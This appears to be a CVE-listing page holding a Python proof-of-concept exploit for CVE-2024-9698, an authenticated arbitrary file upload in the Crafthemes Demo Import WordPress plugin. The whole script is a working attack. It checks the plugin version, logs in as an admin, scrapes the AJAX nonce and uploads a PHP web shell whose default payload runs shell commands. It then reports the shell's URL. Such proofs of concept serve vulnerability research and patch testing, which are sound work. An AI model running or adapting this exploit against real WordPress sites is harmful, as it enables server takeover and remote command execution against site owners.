4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-9698.py PY
import requests
import argparse
from bs4 import BeautifulSoup
import re
import logging

banner = """
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗       █████╗  ██████╗ █████╗  █████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ██╔══██╗██╔════╝██╔══██╗██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██████║███████╗╚██████║╚█████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ╚═══██║██╔═══██╗╚═══██║██╔══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║       █████╔╝╚██████╔╝█████╔╝╚█████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝       ╚════╝  ╚═════╝ ╚════╝  ╚════╝ 
                                 by Nxploit - Khaled_alenazi
"""

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def check_vulnerability(version_url, user_agent):
    try:
        response = requests.get(version_url, headers={"User-Agent": user_agent}, verify=False)
        response.raise_for_status()
    except requests.RequestException as e:
        logging.error(f"Failed to retrieve plugin version: {e}")
        return None

    version_text = response.text
    version_match = re.search(r'Stable tag: (\d+\.\d+|trunk)', version_text)
    if version_match:
        return version_match.group(1)
    else:
        logging.error("Could not determine version.")
        return None

def login(session, login_url, login_data, headers):
    try:
        response = session.post(login_url, data=login_data, headers=headers, verify=False)
        response.raise_for_status()
    except requests.RequestException as e:
        logging.error(f"Login request failed: {e}")
        return False

    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        logging.info("Logged in successfully.")
        return True
    else:
        logging.error("Failed to log in.")
        return False

def extract_nonce(soup):
    nonce_value = None
    for script in soup.find_all("script"):
        script_text = script.text
        if "ajax_nonce" in script_text:
            nonce_match = re.search(r'"ajax_nonce":"([a-zA-Z0-9]+)"', script_text)
            if nonce_match:
                nonce_value = nonce_match.group(1)
                break
    return nonce_value

def main():
    print(banner)
    
    parser = argparse.ArgumentParser(description='Crafthemes Demo Import <= 3.3 - Authenticated (Admin+) Arbitrary File Upload in process_uploaded_files')
    parser.add_argument('--url', required=True, help='Target WordPress URL')
    parser.add_argument('--username', required=True, help='WordPress username')
    parser.add_argument('--password', required=True, help='WordPress password')
    parser.add_argument('--payload', default='<?php\n$output = shell_exec(\'ls -la\');\necho "<pre>$output</pre>";\n?>', help='Custom PHP payload')
    args = parser.parse_args()

    session = requests.Session()
    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

    version_url = f"{args.url}/wp-content/plugins/crafthemes-demo-import/readme.txt"
    version = check_vulnerability(version_url, user_agent)
    if not version:
        exit()

    if version != "trunk" and float(version) > 3.3:
        logging.error("Target is not vulnerable, exiting.")
        exit()

    login_url = f"{args.url}/wp-login.php"
    login_data = {
        'log': args.username,
        'pwd': args.password,
        'rememberme': 'forever',
        'wp-submit': 'Log+In'
    }
    headers = {"User-Agent": user_agent}

    if not login(session, login_url, login_data, headers):
        exit()

    admin_page = f"{args.url}/wp-admin/admin.php?page=ct-crafthemes-demo-import"
    try:
        admin_response = session.get(admin_page, headers=headers, verify=False)
        admin_response.raise_for_status()
    except requests.RequestException as e:
        logging.error(f"Failed to load admin page: {e}")
        exit()

    soup = BeautifulSoup(admin_response.text, 'html.parser')
    nonce_value = extract_nonce(soup)

    if nonce_value:
        logging.info(f"Extracted nonce: {nonce_value}")
    else:
        logging.error("Failed to extract nonce.")
        exit()

    upload_url = f"{args.url}/wp-admin/admin-ajax.php"
    files = {
        'action': (None, 'CT_CTDI_import_demo_data'),
        'security': (None, nonce_value),
        'selected': (None, 'undefined'),
        'content_file': (None, 'undefined'),
        'widget_file': (None, 'undefined'),
        'customizer_file': ('Nxploit.php', args.payload, 'application/x-php')
    }

    try:
        upload_response = session.post(upload_url, files=files, headers=headers, verify=False)
        upload_response.raise_for_status()
    except requests.RequestException as e:
        logging.error(f"Upload request failed: {e}")
        exit()

    if '{"status":"customizerAJAX"}' in upload_response.text:
        shell_url = f"{args.url}/wp-content/uploads/2025/02/Nxploit.php"
        try:
            check_shell = session.get(shell_url, headers=headers, verify=False)
            check_shell.raise_for_status()
            logging.info(f"[+] Shell uploaded successfully: {shell_url}")
        except requests.RequestException as e:
            logging.error(f"Shell upload response received, but file not found on server: {e}")
    else:
        logging.error(f"Unexpected response: {upload_response.text}")

if __name__ == "__main__":
    main()